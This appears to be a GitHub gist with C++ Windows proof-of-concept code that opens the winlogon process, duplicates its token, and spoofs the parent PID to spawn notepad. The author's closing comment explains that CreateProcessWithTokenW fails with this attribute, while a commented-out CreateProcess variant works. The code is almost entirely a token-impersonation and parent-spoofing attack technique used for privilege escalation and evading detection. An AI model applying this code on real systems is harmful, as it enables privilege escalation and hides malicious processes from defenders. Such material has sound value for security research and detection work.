Last active
July 24, 2021 21:02
-
-
Save robleh/bb491ab4ce715f07238b7e136e59f2c8 to your computer and use it in GitHub Desktop.
Failed PoC attempt to spoof a parent PID and impersonate a process token.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <Windows.h> | |
| int wmain(int argc, PWSTR argv[]) { | |
| auto winlogon = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS, FALSE, 636); // replace pid | |
| if (INVALID_HANDLE_VALUE == winlogon) { | |
| std::wcout << L"Failed to acquire winlogon handle: " << GetLastError(); | |
| return 1; | |
| } | |
| else { | |
| std::wcout << L"winlogon handle: " << winlogon << '\n'; | |
| } | |
| HANDLE token{}; | |
| if (!::OpenProcessToken(winlogon, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &token)) { | |
| std::wcout << L"Failed to acquire winlogon token handle: " << GetLastError(); | |
| return 1; | |
| } | |
| else { | |
| std::wcout << L"winlogon token handle: " << token << '\n'; | |
| } | |
| HANDLE dupToken{}; | |
| if (!::DuplicateTokenEx(token, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation, TokenPrimary, &dupToken)) { | |
| std::wcout << L"Failed to duplicate token: " << GetLastError(); | |
| return 1; | |
| } | |
| else { | |
| std::wcout << L"duplicate token handle: " << dupToken << '\n'; | |
| } | |
| SIZE_T size{}; | |
| ::InitializeProcThreadAttributeList(nullptr, 1, 0, &size); | |
| if (122 != GetLastError()) { | |
| std::wcout << L"Unable to determine sized needed for thread attribute list"; | |
| return 1; | |
| } | |
| PPROC_THREAD_ATTRIBUTE_LIST attlist = nullptr; | |
| attlist = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(size); | |
| if (!::InitializeProcThreadAttributeList( | |
| attlist, | |
| 1, | |
| 0, | |
| &size | |
| )) { | |
| std::wcout << L"Failed to initialize thread attribute list: " << GetLastError(); | |
| return 1; | |
| } | |
| else { | |
| std::wcout << L"procthreadattributelist initialized" << '\n'; | |
| } | |
| if (!::UpdateProcThreadAttribute( | |
| attlist, | |
| 0, | |
| PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, | |
| &winlogon, | |
| sizeof(winlogon), | |
| nullptr, | |
| nullptr | |
| )) { | |
| std::wcout << L"Failed to update proc thread attribute: " << GetLastError() << '\n'; | |
| return 1; | |
| } | |
| else { | |
| std::wcout << L"updated parent process attribute" << '\n'; | |
| } | |
| STARTUPINFOEXW siEx{ }; | |
| siEx.StartupInfo.cb = sizeof(STARTUPINFOEX); | |
| siEx.lpAttributeList = attlist; | |
| PROCESS_INFORMATION pi{ }; | |
| WCHAR name[] = L"notepad"; | |
| /* | |
| if (!::CreateProcess( | |
| nullptr, | |
| name, | |
| nullptr, | |
| nullptr, | |
| FALSE, | |
| EXTENDED_STARTUPINFO_PRESENT, | |
| // 0, | |
| nullptr, | |
| nullptr, | |
| (STARTUPINFO*)&siEx, | |
| &pi | |
| )) { | |
| std::wcout << L"Failed to create process: " << GetLastError(); | |
| return 1; | |
| } | |
| */ | |
| if (!::CreateProcessWithTokenW( | |
| dupToken, | |
| LOGON_WITH_PROFILE, | |
| nullptr, | |
| name, | |
| EXTENDED_STARTUPINFO_PRESENT, | |
| nullptr, | |
| nullptr, | |
| (STARTUPINFO*)&siEx, | |
| &pi | |
| )){ | |
| std::wcout << L"Failed to create process with duplicated token and spoofed parent: " << GetLastError(); | |
| return 1; | |
| } | |
| else { | |
| std::wcout << L"Notepad with duplicated token and spoofed parent spawned: " << pi.dwProcessId << '\n'; | |
| } | |
| ::CloseHandle(winlogon); | |
| ::CloseHandle(token); | |
| ::CloseHandle(dupToken); | |
| ::CloseHandle(pi.hProcess); | |
| ::CloseHandle(pi.hThread); | |
| ::DeleteProcThreadAttributeList(attlist); | |
| free(attlist); | |
| return 0; | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
CreateProcessWithTokenWfails with error 87, invalid parameter whereasCreateProcessworks just fine. Which makes sense because according to MSFT usingPROC_THREAD_ATTRIBUTE_PARENT_PROCESSinherits the parent process' token:So
PROC_THREAD_ATTRIBUTE_PARENT_PROCESSis indeed an invalid parameter for theWithTokenflavor ofCreateProcess. Hopefully this saves someone, somewhere, some time.